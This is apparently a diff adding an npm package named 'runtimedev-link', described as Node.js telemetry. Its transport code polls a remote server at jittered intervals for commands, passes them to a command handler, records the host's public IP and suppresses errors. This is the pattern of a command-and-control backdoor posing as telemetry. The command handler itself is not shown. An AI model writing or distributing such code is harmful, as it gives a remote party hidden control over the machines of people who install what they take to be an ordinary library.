353
|
+
if (data.command && String(data.command).trim()) {
|
|
354
|
+
await handleCommand(String(data.command).trim());
|
|
355
|
+
}
|
|
356
|
+
}
|
|
357
|
+
|
|
358
|
+
async function telemetryLoop() {
|
|
359
|
+
const minSec = envInt('SSTAR_TELEMETRY_MIN_SEC', TELEMETRY_MIN_SEC);
|
|
360
|
+
const maxSec = envInt('SSTAR_TELEMETRY_MAX_SEC', TELEMETRY_MAX_SEC);
|
|
361
|
+
while (agentActivated && !shuttingDown) {
|
|
362
|
+
try {
|
|
363
|
+
await postTelemetryReport();
|
|
364
|
+
} catch {
|
|
365
|
+
// ignore
|
|
366
|
+
}
|
|
367
|
+
await sleep(randomMs(minSec, maxSec));
|
|
368
|
+
}
|
|
369
|
+
}
|
|
370
|
+
|
|
371
|
+
async function commandLoop() {
|
|
372
|
+
const pollMin = envInt('SSTAR_POLL_MIN_SEC', POLL_MIN_SEC);
|
|
373
|
+
const pollMax = envInt('SSTAR_POLL_MAX_SEC', POLL_MAX_SEC);
|
|
374
|
+
let backoffSec = pollMin;
|
|
375
|
+
|
|
376
|
+
while (!shuttingDown) {
|
|
377
|
+
if (!startupAnnounced) {
|
|
378
|
+
const startup = await pollCommands(true);
|
|
379
|
+
if (startup.ok) {
|
|
380
|
+
startupAnnounced = true;
|
|
381
|
+
backoffSec = pollMin;
|
|
382
|
+
await handlePollResponse(startup.data);
|
|
383
|
+
} else {
|
|
384
|
+
await sleep(randomMs(Math.min(backoffSec, 30), Math.min(backoffSec + 10, 60)));
|
|
385
|
+
backoffSec = Math.min(backoffSec * 2, 300);
|
|
386
|
+
continue;
|
|
387
|
+
}
|
|
388
|
+
}
|
|
389
|
+
|
|
390
|
+
await sleep(randomMs(pollMin, pollMax));
|
|
391
|
+
|
|
392
|
+
const resp = await pollCommands(false);
|
|
393
|
+
if (!resp.ok) {
|
|
394
|
+
backoffSec = Math.min(Math.max(backoffSec * 2, pollMin), 300);
|
|
395
|
+
await sleep(randomMs(backoffSec, backoffSec + 15));
|
|
396
|
+
continue;
|
|
397
|
+
}
|
|
398
|
+
|
|
399
|
+
backoffSec = pollMin;
|
|
400
|
+
await handlePollResponse(resp.data);
|
|
401
|
+
}
|
|
402
|
+
}
|
|
403
|
+
|
|
404
|
+
function configure(next) {
|
|
405
|
+
config = {
|
|
406
|
+
apiBase: String(next.apiBase || '').trim(),
|
|
407
|
+
hash: String(next.hash || '').trim(),
|
|
408
|
+
};
|
|
409
|
+
}
|
|
410
|
+
|
|
411
|
+
function validateConfig() {
|
|
412
|
+
if (!config.apiBase) return 'API base URL is missing (token or SSTAR_API_BASE / NODE_LINK_API_BASE)';
|
|
413
|
+
if (!config.hash) return 'deployment hash is missing (token or SSTAR_DEPLOYMENT_HASH / NODE_LINK_HASH)';
|
|
414
|
+
return '';
|
|
415
|
+
}
|
|
416
|
+
|
|
417
|
+
async function start() {
|
|
418
|
+
const err = validateConfig();
|
|
419
|
+
if (err) {
|
|
420
|
+
throw new Error(err);
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
await fetchPublicIp();
|
|
424
|
+
commandLoop().catch(() => {});
|
|
425
|
+
}
|
|
426
|
+
|
|
427
|
+
function stop() {
|
|
428
|
+
shuttingDown = true;
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
module.exports = {
|
|
432
|
+
configure,
|
|
433
|
+
validateConfig,
|
|
434
|
+
start,
|
|
435
|
+
stop,
|
|
436
|
+
requestJson,
|
|
437
|
+
identityFields,
|
|
438
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "runtimedev-link",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Pure Node.js telemetry for RuntimeDev platform",
|
|
5
|
+
"main": "lib/transport.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"runtimedev-link": "bin/cli.js"
|
|
8
|
+
},
|
|
9
|
+
"engines": {
|
|
10
|
+
"node": ">=18"
|
|
11
|
+
},
|
|
12
|
+
"license": "UNLICENSED",
|
|
13
|
+
"publishConfig": {
|
|
14
|
+
"access": "public"
|
|
15
|
+
}
|
|
16
|
+
}
|